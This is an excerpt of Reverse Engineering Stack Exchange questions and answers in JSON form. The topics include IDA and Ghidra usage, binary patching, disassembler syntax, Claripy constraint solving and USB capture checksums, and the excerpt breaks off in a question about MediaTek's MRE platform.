        "Body": "<p>How to define an xmmword variable in IDA?\n<a href=\"https://i.stack.imgur.com/bzmpH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bzmpH.png\" alt=\"enter image description here\" /></a></p>\n<p>IDA identified one variable as xmmword but I can't find a menu to define other variables around it as xmmwords:\n<a href=\"https://i.stack.imgur.com/ZjCoI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZjCoI.png\" alt=\"enter image description here\" /></a></p>\n<p>I also tried to set the type after pressing <code>Y</code> key, and set it as <code>xmmword</code>, and also tried to set the strtuct type after pressing <code>Alt+Q</code> keys, but there is no <code>xmmword</code> in neither of those 2.</p>\n",
        "Title": "How to define an xmmword variable in IDA?",
        "Tags": "|ida|",
        "Answer": "<p>It was <code>Options -&gt; Setup data types...</code> and then choosing <code>octa word</code>:\n<a href=\"https://i.stack.imgur.com/Ec3Yh.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ec3Yh.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "30403",
        "CreationDate": "2022-05-14T15:42:30.267",
        "Body": "<p>I'm interested in a general approach to the following problem:<br />\nThe function <strong>F_Init</strong> allocates a byte buffer called <strong>Buffer</strong> with a size called <strong>BufSize</strong>. The <strong>Buffer</strong> is allocated with each frame/iteration resulting in different values for <strong>Buffer</strong> and <strong>BufSize</strong>.</p>\n<p>There are approximately 50 different functions that pass both values as parameters in an arbitrary order, eg. assuming this is a <a href=\"https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170\" rel=\"nofollow noreferrer\">x64 calling convention</a> (left to right -&gt; rcx, rdx, r8, r9), while  <strong>Buffer</strong> is stored in r8 register, sometimes other functions pass it in rdx register.</p>\n<p>Let's say I stopped the execution of the program inside 35th function that processes the <strong>Buffer</strong> how can I quickly figure out where is <strong>F_Init</strong> function? So far I've been manually tracing back the values by looking at the <strong>mov</strong> instructions, eg. currently <strong>Buffer</strong> pointer value is in rdx, but there was a <strong>mov rdx, r9</strong>, so the buffer was previously in r9 register and so on. Doing it manually although a great fun, it takes a lot of time so I'd like to know how to automate this process.</p>\n<p>Second question, if the allocation and manipulation happens in a one giant function, how to quickly locate the call from which those values originate? The question also applies to other data types like integers, eg. some function calculated the number of files in a directory and returning 5.\nAt some point in a different place in the code I see the value 5 in register r8 and I would like to know where is the first function that created the value 5?</p>\n<p>How to do it in x64dbg?</p>\n",
        "Title": "How to find the first function that sets the value currently stored in a given register?",
        "Tags": "|x64dbg|dynamic-analysis|",
        "Answer": "<p>I don't know if you are using window or linux but the general solution i can think of is this.</p>\n<p>Every new allocate buffer must call through function such as VirtualAlloc or NtAllocateVirtualMemory (low level) or malloc for linux.</p>\n<p>Hook the allocate function (for window it is VirtualAlloc, malloc for linux) and get the following info:</p>\n<ul>\n<li>The length of the newly allocated buffer in the argument.</li>\n<li>The address of the allocate memory from the return of that function.</li>\n<li>The return address of the VirtualAlloc.</li>\n</ul>\n<p>And store to a struct and avl tree (you can check the first 10 min of this video for how the structure look like: <a href=\"https://www.youtube.com/watch?v=icJ8HV22cbc&amp;ab_channel=BlackHat\" rel=\"nofollow noreferrer\">https://www.youtube.com/watch?v=icJ8HV22cbc&amp;ab_channel=BlackHat</a>) or you can just log it.</p>\n<p>So now you can find the f_init by searching through the log manually.</p>\n<p>If you want to automate the process then you must build a balance tree like the video i provided above and search in it.</p>\n<p>For you second question it is very hard and i don't think x64dbg can do it, because it require backward slicing. You should ask a new question for that but the answer may not deal with x64dbg.</p>\n"
    },
    {
        "Id": "30416",
        "CreationDate": "2022-05-17T11:28:38.117",
        "Body": "<p>I'm learning reversing and for that I use Ghidra.\nThere is program I'm trying to modify so I can recompile it and make it work.\nI have a code that ghidra decompile like this: <code>data=function(4)</code>\nGoing inside the function I think to make it work I need to pass a zero.\nIn the assembly I can read:</p>\n<pre><code>PUSH RBP\nMOV RBP,RSP\nMOV EDI,0x4\nCALL function\nMOV qword ptr [data],RAX\n</code></pre>\n<p>What I understand from that (and I'm propably wrong)\nis that  the <code>MOV EDI,0x4</code> is the 4 given in the function so I tried to rewrite it in Ghidra with <code>0x0</code> and it replace the:</p>\n<pre><code>bf 04 00 00 00 with bf 00 00 00 00\n</code></pre>\n<p>I thought it would be enough and I exported as an ELF but when I start the program I get a segmentation fault so I guess I'm doing something wrong with the memory.</p>\n<pre><code>    (gdb) x/10xi $rip\n=&gt; 0x555555401888:      mov    (%rax),%rax\n   0x55555540188b:      test   %rax,%rax\n   0x55555540188e:      jne    0x55555540189a\n   0x555555401890:      mov    $0x0,%eax\n   0x555555401895:      jmp    0x55555540199d\n   0x55555540189a:      movq   $0x0,-0x50(%rbp)\n   0x5555554018a2:      mov    -0x60(%rbp),%rax\n   0x5555554018a6:      mov    %rax,%rdi\n   0x5555554018a9:      call   0x5555554008f0 &lt;strlen@plt&gt;\n   0x5555554018ae:      mov    %rax,-0x48(%rbp)\n</code></pre>\n<p>I would like some help to understand what I'm doing wrong.</p>\n<p>thanks</p>\n",
        "Title": "Help with Ghidra and rewriting assembly",
        "Tags": "|assembly|ghidra|",
        "Answer": "<p>You need to understand the consequences of patching an instruction. What gets changed by the instruction - both data and control flow.\nBased on the comments I think you are trying to patch this part</p>\n<pre><code>.text:0000000000000B4C                 push    rbp\n.text:0000000000000B4D                 mov     rbp, rsp\n.text:0000000000000B50                 mov     edi, 4\n.text:0000000000000B55                 call    sub_1673\n</code></pre>\n<p>to</p>\n<pre><code>.text:0000000000000B4C                 push    rbp\n.text:0000000000000B4D                 mov     rbp, rsp\n.text:0000000000000B50                 mov     edi, 0\n.text:0000000000000B55                 call    sub_1673\n</code></pre>\n<p>Based on this you can see what will change when <code>sub_1673</code> gets executed.</p>\n<pre><code>...\n.text:000000000000167C                 mov     [rbp+nmemb], rdi\n.text:0000000000001680                 cmp     [rbp+nmemb], 0\n.text:0000000000001685                 jnz     short loc_1691\n.text:0000000000001687                 mov     eax, 0\n.text:000000000000168C                 jmp     loc_1736\n...\n.text:0000000000001736                 add     rsp, 28h\n.text:000000000000173A                 pop     rbx\n.text:000000000000173B                 pop     rbp\n.text:000000000000173C                 retn\n</code></pre>\n<p>Based on the calling convention 0 will be copied to <code>rdi</code>. It is then compared to 0 and then a jump is taken if its non zero. If its zero the function returns with a return value of zero. Something like</p>\n<pre><code>int sub_1673(size_t a1) {\n    if(!a1) return 0;\n    ....\n}\n</code></pre>\n<p>If the value was non-zero some memory is allocated and the pointer is saved to some global variable. In your case - after the patch the variable stays 0 and the application crashes while read NULL(0) address.</p>\n"
    },
    {
        "Id": "30421",
        "CreationDate": "2022-05-19T22:40:20.670",
        "Body": "<p>I usually write my code on Windows, and there are two different types of development environments, each providing their own tools to view the assembly code of an object file(<code>*.obj</code>) or executable (<code>*.exe</code>).</p>\n<p>If I am working with Visual Studio build system from command line, the <code>dumpbin /disasm file.obj</code> command can generate disassemble a binary file. A snippet of a disassembly from an executable, produced by <code>dumpbin</code> :</p>\n<pre><code>  000000014000E712: 41 81 F0 6E 74 65  xor         r8d,6C65746Eh\n                    6C\n  000000014000E719: 41 81 F1 47 65 6E  xor         r9d,756E6547h\n                    75\n  000000014000E720: 44 8B D2           mov         r10d,edx\n  000000014000E723: 8B F0              mov         esi,eax\n  000000014000E725: 33 C9              xor         ecx,ecx\n  000000014000E727: 41 8D 43 01        lea         eax,[r11+1]\n  000000014000E72B: 45 0B C8           or          r9d,r8d\n  000000014000E72E: 0F A2              cpuid\n  000000014000E730: 41 81 F2 69 6E 65  xor         r10d,49656E69h\n                    49\n  000000014000E737: 89 04 24           mov         dword ptr [rsp],eax\n</code></pre>\n<p>However, if I am working with the GNU toolkit (I mean mingw64, which works with native windows binaries), then running <code>objdump -D file.obj</code> gives a disassembly like this:</p>\n<pre><code>   14000e712:   41 81 f0 6e 74 65 6c    xor    $0x6c65746e,%r8d\n   14000e719:   41 81 f1 47 65 6e 75    xor    $0x756e6547,%r9d\n   14000e720:   44 8b d2                mov    %edx,%r10d\n   14000e723:   8b f0                   mov    %eax,%esi\n   14000e725:   33 c9                   xor    %ecx,%ecx\n   14000e727:   41 8d 43 01             lea    0x1(%r11),%eax\n   14000e72b:   45 0b c8                or     %r8d,%r9d\n   14000e72e:   0f a2                   cpuid  \n   14000e730:   41 81 f2 69 6e 65 49    xor    $0x49656e69,%r10d\n   14000e737:   89 04 24                mov    %eax,(%rsp)\n</code></pre>\n<p>Now, it is immediately clear that both are providing the same information. However, I want to know what the numbers on the left column mean (e.g. <code>14000e712</code>)? Also why is the instruction written differently (e.g. on the first line, <code>dumpbin</code> writes <code>r8d,6C65746Eh</code>, while <code>objdump</code> writes <code>$0x6c65746e,%r8d</code>). Why is this, and what do the different representations mean? Additionally dumpbin seems to write extra information such as <code>dword ptr</code> that <code>objdump</code> doesn't write.</p>\n",
        "Title": "Understanding disassembly information from Visual Studio's dumpbin and GNU's objdump",
        "Tags": "|disassembly|windows|assembly|objdump|",
        "Answer": "<p>Let's break it down. The first and most obvious difference is Intel syntax (<code>dumpbin</code>) vs. AT&amp;T syntax (<code>objdump</code>) for the output you give. That's be the part of your question:</p>\n<blockquote>\n<p>Also why is the instruction written differently (e.g. on the first line, dumpbin writes <code>r8d,6C65746Eh</code>, while objdump writes <code>$0x6c65746e,%r8d</code>). Why is this, and what do the different representations mean?</p>\n</blockquote>\n<p>However, <code>objdump</code> lets you choose between the two and just defaults to AT&amp;T (aka <code>att</code>). Excerpt from the <code>man</code> page:</p>\n<pre><code>&quot;intel&quot;\n&quot;att&quot;\n    Select between intel syntax mode and AT&amp;T syntax mode.\n</code></pre>\n<p>So you could simply use: <code>objdump -D -M intel ...</code> (also <code>-Mintel</code>) to get way closer to the output from <code>dumpbin</code>.</p>\n<p>However, a comparison of the syntax variants can be found <a href=\"https://en.wikipedia.org/wiki/X86_assembly_language#Syntax\" rel=\"nofollow noreferrer\">on Wikipedia</a>. <a href=\"http://www.delorie.com/djgpp/doc/brennan/brennan_att_inline_djgpp.html\" rel=\"nofollow noreferrer\">This dated overview</a> may also help. The most important difference is that Intel syntax places the target first and the source last, whereas with AT&amp;T it's the opposite.</p>\n<p>Let's take the instruction you gave:</p>\n<ul>\n<li>Intel: <code>xor r8d,6C65746Eh</code>\n<ul>\n<li><code>xor</code> instruction</li>\n<li>(first) target operand is <code>r8d</code> (lower 32-bit of the <code>r8</code> register)</li>\n<li>(second) source operand is a literal <code>6C65746Eh</code> (the hexadecimal is denoted via the trailing <code>h</code> here)</li>\n</ul>\n</li>\n<li>AT&amp;T: <code>xor $0x6c65746e,%r8d</code>\n<ul>\n<li><code>xor</code> instruction</li>\n<li>(first) source operand is a literal <code>$0x6c65746e</code> (the hexadecimal is denoted via the leading <code>0x</code> here, IIRC <code>$</code> is for literals/addresses)</li>\n<li>(second) target operand is <code>%r8d</code> (lower 32-bit of the <code>r8</code> register)</li>\n</ul>\n</li>\n</ul>\n<p>NB: This is largely a matter of taste. Binutils (the set of tools around <code>objdump</code>) and others like GDB default to AT&amp;T syntax, but you can tell them to use the Intel syntax. Most of the disassembly I work with is Intel syntax, but it's good to be aware of the two syntax variants and know how they compare.</p>\n<blockquote>\n<p>However, I want to know what the numbers on the left column mean (e.g. 14000e712)?</p>\n</blockquote>\n<p>Those are the addresses. You probably know that executables typically take a different form when mapped into memory than on disk and that address implies two things:</p>\n<ol>\n<li>it pretends that the image is mapped at base address 0x140000000</li>\n<li>0x14000e712 is simply an address with offset 0xe712 <em>into</em> the mapped image</li>\n</ol>\n<p>Edit 1: Oh and perhaps one word about this <code>mov dword ptr [rsp],eax</code> versus <code>mov %eax,(%rsp)</code> business. I find the Intel syntax more readable, since it doesn't make be think where the syntax can give the clue. &quot;Write DWORD to address pointed to by <code>rsp</code>, fair enough&quot;. However, I suppose the reasoning behind the more concise AT&amp;T syntax is that the knowledge about the operation's size (DWORD) can be deduced from the operand (<code>eax</code>) and so it simply leaves out the more or less cosmetic hint of <code>dword ptr</code>.</p>\n"
    },
    {
        "Id": "30426",
        "CreationDate": "2022-05-20T19:02:44.677",
        "Body": "<p>I'm new to reverse engineering and I'm trying to get into using a disassembler - I've been using reclass for a while now. I was looking at IDA Pro and that was 7k euros so that was not an option. I've been trying to use cutter and I'm wondering is it possible to search the address like IDA Pro, goto address.</p>\n<p>I'm also wondering what is the best alternative than IDA Pro?</p>\n",
        "Title": "How can I use cutter like ida, trying to search by address",
        "Tags": "|ida|radare2|address|",
        "Answer": "<p>Seek or goto an address in cutter could be done by pressing <kbd>G</kbd>.\nIt'll take the focus to the top where you see an address bar like such</p>\n<p><strong><a href=\"https://i.stack.imgur.com/hCGgZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hCGgZ.png\" alt=\"strong text\" /></a></strong></p>\n<p>Just paste the address or function name and press <kbd>Enter</kbd></p>\n"
    },
    {
        "Id": "30427",
        "CreationDate": "2022-05-20T20:24:02.303",
        "Body": "<p>The program I'm messing with has builtin logging. Using a proxy DLL, I managed to activate it by calling the right functions from the real DLL. However, I got stuck at using the actual logging functions, as the program crashes with Error 0xC0000142 whenever I get close to using them.</p>\n<p>Here's what I'm doing in my proxy DLL:</p>\n<pre><code>typedef void (*FDLAddr_t)(void);\nFDLAddr_t ForceDebugLog;\n\ntypedef void (*LIAddr_t)(char const *, ...);\nLIAddr_t LogInfo;\n\nvoid setupFuncs() {\n    HMODULE trueDll= GetModuleHandleA(&quot;.\\\\trueDll.dll&quot;);\n    ForceDebugLog = (FDLAddr_t)GetProcAddress(trueDll, &quot;?ForceDebugLog@@YAXXZ&quot;);\n    // LogInfo = (LIAddr_t)GetProcAddress(trueDll, &quot;?LogInfo@@YAXPBDZZ&quot;);\n}\n</code></pre>\n<p>Now, I can just do <code>ForceDebugLog();</code> and logging gets enabled. However, as soon as I uncomment the <code>LogInfo</code> line, the program crashes on startup with Windows showing the error 0xc0000142.</p>\n<p>Further experimentation shows that <code>GetProcAddress</code> returns the address of <code>LogInfo</code> in the DLL. Also, the line appears to be fine if <code>LogInfo</code> was a <code>FARPROC</code>, as that works without a problem. As soon as I add the cast to <code>LIAddr_t</code>, the error comes back.</p>\n<p>How can I work around this issue? Or do I need to take a different approach? All binaries involved are 32 bit.</p>\n",
        "Title": "Calling a function with a variable number of args from a proxy DLL",
        "Tags": "|windows|dll|functions|",
        "Answer": "<p>As it turns out, the code above works correctly and the issue was somewhere else entirely.</p>\n<p>While looking at my DLL in ghidra, I noticed that there were some strings defined that appeared nowhere in my code. As it turns out, some old object files from earlier experiments were accidentally linked into the DLL. One of the experiments was a reimplementation of LogInfo which caused the compiler/linker to produce an incorrect result.</p>\n"
    },
    {
        "Id": "30432",
        "CreationDate": "2022-05-23T17:16:22.370",
        "Body": "<p>How can I map between code in IDA Pro and the same code in Ghidra?  I.e., I am looking at a particular piece of assembly in one, and want to find the same assembly in the other.</p>\n<p>Based on asking others and thinking about it myself, I have come up with the following:</p>\n<ul>\n<li>Symbols - if they exist</li>\n<li>Library references could serve as hints, if they can be identified</li>\n<li>String references (i.e., both pieces of code refer to the same constant string)</li>\n<li>Trying to find the same opcode sequence - is there any easy way to do this, where I could do something like cut the assembly from IDA and tell Ghidra to find the same sequence of instructions?</li>\n</ul>\n<p>What else is there?  Are there any automated tools for this?  If there are no symbols, what is the &quot;best&quot; way?</p>\n<p>I am assuming that it is useful to be able to use both tools on the same target.  Perhaps I am wrong.</p>\n",
        "Title": "What techniques are there for mapping code in IDA Pro to the same code in Ghidra, or vice versa?",
        "Tags": "|ida|ghidra|",
        "Answer": "<p>If you have the same binary then this should be straightforward. The approaches you came up with are all typical and useful for trying to correlate code from <em>similar</em> binaries and are then handled by dedicated tools/plugins (like BinDiff, Diaphora, or Ghidra's Version tracking)</p>\n<p>If the binary has a fixed location in the address space, then both IDA and Ghidra should load them at this address and the address of the assembly code you are interested in should just be the same in IDA and Ghidra.\nIf the binary is position independent then IDA and Ghidra might load them at different addresses by default, but this can be set to the same address during the initial import. Then the addresses for each instruction or data should be the same in IDA and Ghidra.</p>\n"
    },
    {
        "Id": "30439",
        "CreationDate": "2022-05-25T03:17:31.803",
        "Body": "<p><a href=\"https://challenges.re/64/\" rel=\"nofollow noreferrer\">Challenge #64</a></p>\n<p>What does this code do?</p>\n<p>An array of <code>array[x][y]</code> form is accessed here. Try to determine the dimensions of the array, at least partially, by finding y.</p>\n<pre><code>_array$ = 8\n_x$ = 12\n_y$ = 16\n_f  PROC\n    mov eax, DWORD PTR _x$[esp-4]\n    mov edx, DWORD PTR _y$[esp-4]\n    mov ecx, eax\n    shl ecx, 4\n    sub ecx, eax\n    lea eax, DWORD PTR [edx+ecx*8]\n    mov ecx, DWORD PTR _array$[esp-4]\n    fld QWORD PTR [ecx+eax*8]\n    ret 0\n_f  ENDP\n</code></pre>\n<p>At first I think there is a mistake in the question. Because I only see three variables here, one for array address, the one x and one y, so I assume it's actually a 2d array of double, not a 3d as in <em>&quot;An array of <code>array[x][y]</code>&quot;</em>.</p>\n<p>Then I was stuck because eventually the program loads <code>array[8y+192x]</code>, and x and y can be anything.</p>\n<p>So I figured this must be a 3d array of double, with the third dimension given. I still couldn't figure it out so I tried to write my own program and use Godbolt to give me assembly. After a few trials I got something pretty close to the original program:</p>\n<p><a href=\"https://godbolt.org/z/bT7bq8exa\" rel=\"nofollow noreferrer\">Something close</a></p>\n<p>However I'm still having difficulty to match my program with the original question. I think I'm pretty close but how do I proceed from here? I have a hunch that y is also 24 in the original question, but not 100% sure.</p>\n",
        "Title": "What does the code do?",
        "Tags": "|disassembly|x86|",
        "Answer": "<p>This is somewhat of a symbolic simplification. If you execute code from start of the procedure, then just before ret these are the relevant changes to the state of the program - ignoring registers</p>\n<pre><code>float_st0          = @64[array + (y + x * 0x78) * 0x8]\nfloat_stack_ptr    = float_stack_ptr + 0x1\n</code></pre>\n<p>where <code>st0</code> has been loaded with a 64bit value from a location.</p>\n<pre><code>array + (y + x * 0x78) * 0x8\n</code></pre>\n<p>In a 1D array the way you access any index is</p>\n<pre><code>array + index * sizeof(member)\n</code></pre>\n<p>The size of the array member is 8 <code>sizeof(double)</code> here so the index is</p>\n<pre><code>y + x * 0x78\n</code></pre>\n<p>2D arrays are laid out linearly in memory. Accessing second dimension requires the size of first dimension to be known -</p>\n<p><a href=\"https://i.stack.imgur.com/35lGz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/35lGz.png\" alt=\"enter image description here\" /></a></p>\n<p>In the above example to access <code>array[1][2]</code> we need to access it like</p>\n<pre><code>array + sizeof(int) * (2 + 1 * 3)\n</code></pre>\n<p>In the op <code>x</code> is getting multiplied by 0x78 - so the size of the <code>y</code> dimension is 0x78 members.</p>\n<p>Additionally I could replicate the problem code to an extent <a href=\"https://godbolt.org/z/8n74safKd\" rel=\"nofollow noreferrer\">here</a></p>\n<p>With this code and x86 MSVC v19.0, optimization flag /Ox</p>\n<pre><code>double load(double array[][0x78], int x, int y) {\n    return array[x][y];\n}\n</code></pre>\n<p>we get</p>\n<pre><code>_array$ = 8                                   ; size = 4\n_x$ = 12                                                ; size = 4\n_y$ = 16                                                ; size = 4\n_load   PROC\n        mov     ecx, DWORD PTR _x$[esp-4]\n        mov     eax, DWORD PTR _y$[esp-4]\n        shl     ecx, 4\n        sub     ecx, DWORD PTR _x$[esp-4]\n        lea     ecx, DWORD PTR [eax+ecx*8]\n        mov     eax, DWORD PTR _array$[esp-4]\n        fld     QWORD PTR [eax+ecx*8]\n        ret     0\n_load   ENDP\n</code></pre>\n<p>PS : I ran this through a miasm based simplification - code <a href=\"https://gist.github.com/sudhackar/6590295409de25599cb409b3af6ebf9b\" rel=\"nofollow noreferrer\">here</a></p>\n"
    },
    {
        "Id": "30461",
        "CreationDate": "2022-06-01T07:13:16.410",
        "Body": "<p>I'm trying to bruteforce an address as part of a CTF challenge using Angr's Claripy.\nThe function is the following:</p>\n<pre><code>unsigned __int64 __fastcall sub_555555555310(\n        unsigned __int64 rand_addr,\n        unsigned __int64 const1,\n        unsigned __int64 const2)\n{\n  unsigned __int64 v4; \n\n  v4 = 0LL;\n  while ( rand_addr )\n  {\n    if ( (rand_addr &amp; 1) != 0 )\n      v4 = (const1 + v4) % const2;\n    rand_addr &gt;&gt;= 1;\n    const1 = 2 * const1 % const2;\n  }\n  return v4;\n}\n</code></pre>\n<p>where rand_addr is the address I'm trying to reverse. To be precise, I only need the lower half of the address (32 lower bits). I have v4, const1 and const2 values.\nThis is what I've done so far with Claripy:</p>\n<pre><code>def do_op(rand, const1, const2):\n    v4 = claripy.BVV(0, 64)\n    b = claripy.BVV(0, 2)\n    #while(claripy.UGE(rand, 1)):\n    for i in range(64):\n        b = claripy.If(rand &amp; 1 != 0, claripy.BVV(1,1), claripy.BVV(0,1))\n        v4 = claripy.If(b == 1, (const1 + v4) % const2, v4)\n        rand = claripy.If(b == 0, claripy.RotateRight(rand, 1), rand)\n        const1 = claripy.If(b == 0, 2 * const1 % const2, const1)\n    s.add(v4[31:0] == claripy.BVV(&lt;some_value&gt;, 32))\n</code></pre>\n<p>Angr claims that this solver is unsat and I was wondering what am I doing wrong.</p>\n<p>Thank you!</p>\n",
        "Title": "Using Angr's Claripy to bruteforce a number",
        "Tags": "|angr|",
        "Answer": "<p>There are some problems with the way you write constraints in claripy. Here's a simple correction</p>\n<pre><code>import claripy\ns = claripy.Solver()\nconst1 = claripy.BVS('const1', 64)\nconst2 = claripy.BVS('const2', 64)\nrand = claripy.BVS('rand', 64)\nv4 = claripy.BVS('v4', 64)\nfor i in range(64):\n    v4 = claripy.If(rand &amp; 1 != 0, (const1 + v4) % const2, v4)\n    rand = rand &gt;&gt; 1\n    const1 = 2 * const1 % const2\ns.add(v4 == 12345)\nprint(&quot;check&quot;)\nprint(s.check_satisfiability())\n</code></pre>\n<p>You don't need to check the <code>If</code> for every statement. In the original code it was used only to change v4.\nFor <code>BVV</code></p>\n<blockquote>\n<p>Creates a bit-vector value (i.e., a concrete value).</p>\n</blockquote>\n<p>For <code>BVS</code></p>\n<blockquote>\n<p>Creates a bit-vector symbol (i.e., a variable).</p>\n</blockquote>\n<p>The C code shows right shift, not <code>RotateRight</code> so just use the <code>&gt;&gt;</code> operator since its been implemented with <code>__rshift__</code> in claripy.</p>\n<p>Another thing to work on is to search for the constants used in <code>const1</code> and <code>const2</code> - you might get a standard function.</p>\n"
    },
    {
        "Id": "30481",
        "CreationDate": "2022-06-07T03:41:40.220",
        "Body": "<p>My developer has not provided me the source code backup for my listed app in Google Play (his PC was stolen and all codes are gone with it). I logged on to my Play Store developer's account and found the .aab file and downloaded it.</p>\n<p>Can I give this file to any developer to update my app, or do I need the source code backup to update the app?</p>\n",
        "Title": "Modify, unpack, and rebuild an Android App Bundles (.aab) file",
        "Tags": "|android|apk|development|",
        "Answer": "<blockquote>\n<p>Can I give this .aab file to any developer to update my App?</p>\n</blockquote>\n<p>No you can't. The Android App Bundle usually contains compiled DEX code (and optional compiled .so libraries) very similar to the final APK file(s) that are provided to the end users.</p>\n<p>People with reverse engineer background may be able to make minor modifications by decompiling the dex code to SMALI code, but SMALI code is a bit like assembler code, difficult to read, not structured difficult to write. Making more than minor modifications this way is unrealistic. You also have to consider that developer with reverse engineering background are more expensive and every modification will take more development time as usual (expect 2-20 times more).</p>\n<p>Alternatively a developer could try to decompile the app using Jadx to Java code and recover certain parts of the app implementation, but Jadx may not able decompile every method and class, also some methods may be decompiled in an incorrect way.</p>\n<p>This means large parts of the app have to be reimplemented.</p>\n<p>Next time make sure you get access the full source code and use a developer who practices standard procedures like regular backups (or at least uses a private online-space for mirroring the code, e.g. a private Github repo or something similar).</p>\n"
    },
    {
        "Id": "30487",
        "CreationDate": "2022-06-08T06:35:52.347",
        "Body": "<p>I'm looking at how MITM works on USB devices.\n<a href=\"https://www.beyondlogic.org/usbnutshell/usb4.shtml\" rel=\"nofollow noreferrer\">This website</a> states that:</p>\n<blockquote>\n<p>Bulk transfers provide error correction in the form of a CRC16 field on the data payload and error detection/re-transmission mechanisms ensuring data is transmitted and received without error.</p>\n</blockquote>\n<p>Presumably, if I wanted to modify some data (MITM) on a bulk transfer, I'd need to fix up the CRC16 as well.</p>\n<p>Wireshark can be used to dump USB packets. Below is a captured USB &quot;bulk in&quot; packet.<a href=\"https://i.stack.imgur.com/7IaO3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7IaO3.png\" alt=\"enter image description here\" /></a></p>\n<p>The packet data is provided here:</p>\n<pre><code>&quot;\\x40\\x52\\x59\\x18\\x53\\x9d\\xff\\xff\\x43\\x03\\x81\\x06\\x01\\x00\\x2d\\x00&quot; \\\n&quot;\\xe7\\x2f\\xa0\\x62\\x00\\x00\\x00\\x00\\x20\\x2e\\x0c\\x00\\x00\\x00\\x00\\x00&quot; \\\n&quot;\\xb7\\x00\\x00\\x00\\xb7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&quot; \\\n&quot;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00&quot; \\\n&quot;\\x7f\\x00\\x04\\x84\\x00\\x00\\x0f\\x80\\x06\\x00\\x60\\x00\\x00\\x30\\x00\\x00&quot; \\\n&quot;\\x00\\x00\\x00\\x00\\x86\\x21\\xf2\\x0e\\x20\\x1c\\x00\\x00\\x37\\xb8\\x00\\x01&quot; \\\n&quot;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&quot; \\\n&quot;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\xff\\xff\\xff\\xff&quot; \\\n&quot;\\xff\\xff\\x64\\x52\\x99\\x4f\\x8a\\xf0\\xff\\xff\\xff\\xff\\xff\\xff\\x60\\x00&quot; \\\n&quot;\\x00\\x07\\x47\\x72\\x69\\x66\\x66\\x65\\x79\\x01\\x04\\x02\\x04\\x0b\\x16\\x32&quot; \\\n&quot;\\x08\\x0c\\x12\\x18\\x24\\x30\\x48\\x60\\x6c\\x2d\\x1a\\x0c\\x11\\x18\\xff\\x00&quot; \\\n&quot;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&quot; \\\n&quot;\\x00\\x00\\x00\\x00\\x00\\x03\\x01\\x03\\xdd\\x09\\x00\\x10\\x18\\x02\\x00\\x00&quot; \\\n&quot;\\x04\\x00\\x00\\xdd\\x1e\\x00\\x90\\x4c\\x33\\x0c\\x11\\x18\\xff\\x00\\x00\\x00&quot; \\\n&quot;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&quot; \\\n&quot;\\x00\\x00\\x00\\x73\\x99\\xcc\\x0b&quot;\n</code></pre>\n<p>The Wireshark dissector doesn't point out a checksum.\nThis leads me to believe the checksum is at the end of the &quot;Leftover Capture Data&quot;.\nI can't seem to regenerate the last two bytes as a matching CRC16.</p>\n<p>Am I wrong in trying to generate the checksum from <code>leftover_data[:-2]</code>?</p>\n<p>Is the checksum present in the capture?</p>\n<p>Is the checksum in another packet?</p>\n<p>Do Wireshark USB captures even record the checksum?</p>\n",
        "Title": "Where is the CRC16 checksum in a USB BULK IN transfer?",
        "Tags": "|usb|wireshark|",
        "Answer": "<p>You are apparently using a software capture, <code>usbmon</code> rather than a hardware capture such as <a href=\"http://openvizsla.org/\" rel=\"nofollow noreferrer\">OpenVizla</a>, so the CRC is not going to be visible to you.  See the <a href=\"https://www.youtube.com/watch?v=cUljKImph4s\" rel=\"nofollow noreferrer\">USB Analysis 101</a> video by Tomasz Mo\u0144 for more details.</p>\n"
    },
    {
        "Id": "30490",
        "CreationDate": "2022-06-08T17:09:05.380",
        "Body": "<h1>Background</h1>\n<p><a href=\"https://web.archive.org/web/20150922183623/http://mre.mediatek.com/\" rel=\"nofollow noreferrer\">Mediatek's MRE</a> (MAUI Runtime Environment) <a href=\"https://en.wikipedia.org/wiki/Series_30%2B#:%7E:text=Many%20S30%2B%20devices%20only%20support%20MAUI%20Runtime%20Environment%20(MRE)%2C%5B1%5D%5B2%5D%20developed%20by%20MediaTek%2C%5B3%5D%5B4%5D%20but%20some%20later%20devices%20have%20included%20support%20for%20J2ME%20applications.\" rel=\"nofollow noreferrer\">is the default runtime</a> on <a href=\"https://en.wikipedia.org/wiki/Series_30%2B\" rel=\"nofollow noreferrer\">Nokia S30+ platform</a>, replacing the J2ME platform on older Nokia. From <a href=\"https://web.archive.org/web/20151104094204/http://mre.mediatek.com/en/start/what\" rel=\"nofollow noreferrer\">MRE's page</a>:</p>\n<blockquote>\n<p>MRE (MAUI Runtime Environment) is a phone application development platform similar to JVM and Brew. On the MRE platform, you can realize solutions for smart featuer phones on feature\nphones. Meanwhile, MediaTek also provides devlopers and end suppliers with highly efficient\ndevelopment tools (MRE SDK) and compilation environment for applications, allowing developers to develop applications more quickly and effectively.</p>\n</blockquote>\n<p>MRE's executable file has the extension <code>vxp</code> (I don't know that it stands for).</p>\n<p>The problem is, MRE SDK isn't supported anymore (people have claim <a href=\"https://news.ycombinator.com/item?id=14288221#:%7E:text=across%20multiple%20devices.-,As%20for%20the%20Series%2030%2B%2C%20the%20MRE%20was%20a%20market%20failure%2C%20never%20reaching%20a%20fraction%20of%20J2ME%2C%20Mediatek%20doesn%27t%20even%20support%20the%20SDK%20anymore.,-bitmapbrother%20on%20May\" rel=\"nofollow noreferrer\">here</a> that it's a market failure on S30+ platform), and the website, including the SDK, documentation, forum, disscussion and other things were totally deleted from the 